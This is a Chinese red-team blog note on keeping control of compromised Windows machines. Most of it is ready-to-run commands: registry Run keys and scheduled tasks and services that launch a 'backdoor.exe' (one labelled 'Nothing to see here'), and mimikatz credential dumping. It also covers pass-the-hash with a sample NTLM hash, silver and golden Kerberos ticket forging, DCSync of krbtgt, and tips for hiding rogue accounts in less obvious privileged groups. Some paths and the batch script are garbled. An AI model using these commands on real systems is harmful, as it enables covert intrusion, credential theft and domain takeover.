持續控制技術和策略(A View of Persistence)
- 2019 年 10 月 6 日
- 筆記
本文作者:麥燒玉米(Ms08067實驗室紅隊小組成員)
我們經常會看到一個完整的攻擊生命周期,大概有以下7個主要步驟:
- Recon
- Weaponisation
- Delivery
- Exploitation
- Installation
- Command & Control
- Actions on Objectives
其中第5個步驟「Installation」意思為「重新獲得對系統的命令和控制(如果丟失),而不必重複步驟1到4」。當遇到一些操作不行的時候就要考慮許可權問題,uac策略等!
在這篇文章中,我會介紹一些基本的持久性策略和技術!通常,觸發C2通道的持久性機制存在於以下級別之一:
- 中等強制級別,在標準用戶的上下文中。
- 在SYSTEM的背景下強制性水平較高。
UserLand 技術
HKCU:
HKCR: HKEY_CLASSES_ROOT HKCU: HKEY_CURRENT_USER HKLM: HKEY_LOCAL_MACHINE HKU: HKEY_USERS HKCC: HKEY_CURRENT_CONFIG

創建一個REG_SZ值 字元串值 在HKCUSoftwareMicrosoftWindows (其他的也行)

name Backdoor data C:usersCreaTeAppDataLocalTempbackdoor.exe
啟動:
在用戶啟動文件夾中創建批處理腳本 gc–Get-Content

@ echo off start /d "C:WindowsSystem32" calc.exe pause 難受不會寫bat bat的作用應該是每次開機都啟動bat觸發backdoor.exe
計劃任務:
PS C:> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:UsersRastaAppDataLocalTempbackdoor.exe" PS C:> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta" PS C:> $P = New-ScheduledTaskPrincipal "Rasta" PS C:> $S = New-ScheduledTaskSettingsSet PS C:> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S PS C:> Register-ScheduledTask Backdoor -InputObject $D
Powershell配置文件:



Elevated技術
HKLM:
HKLM: HKEY_LOCAL_MACHINE HKLMSoftwareMicrosoftWindows name/data
服務:
創建將自動或按需啟動的服務 PS C:> New-Service -Name "Backdoor" -BinaryPathName "C:WindowsTempbackdoor.exe" -Description "Nothing to see here."

計劃任務:
以System運行 每天上午9點 PS C:> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:WindowsTempbackdoor.exe" PS C:> $T = New-ScheduledTaskTrigger -Daily -At 9am PS C:> $P = New-ScheduledTaskPrincipal "NT AUTHORITYSYSTEM" -RunLevel Highest PS C:> $S = New-ScheduledTaskSettingsSet PS C:> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S PS C:> Register-ScheduledTask Backdoor -InputObject $D
維持特權:
runas腳本http://xinn.org/RunasVBS.html

參考:https://blog.csdn.net/u010984552/article/details/54891615


NTLM哈希:
許可權始終是一個問題 導出Server Hash mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > log.txt

sekurlsa::pth /user:Administrator /domain:GOD /ntlm:ccef208c6485269c20db2cad21734fe7 (/run:運行的程式,默認 cmd)



添加新的本地用戶可以提供一種返回電腦的方法。如果將它們放在 Administrators組中太明顯,請使用其他特權組,例如Remote Desktop Users,Remote Management Users或Backup Operators
白銀票據:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > log.txt mimikatz "kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目標伺服器主機名> /service:<服務類型> /rc4:<NTLM Hash> /user:<用戶名>/ptt" exit


參考: https://paper.tuisec.win/detail/af2385f4ed3a391 kerberos::golden /domain:GOD /sid:S-1-5-21-1218902331-2157346161- 1782232778 /target: WebServer /service: cifs /rc4:518b98ad4178a53695dc997aa02d455c /user:Administrator /ptt exit


OWA2010CN-God
黃金票據:
拿下域控 lsadump::dcsync /domain:域名 /user:krbtgt ms14068 mimikatz kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用戶名> /ptt exit

來源:Ms08067安全實驗室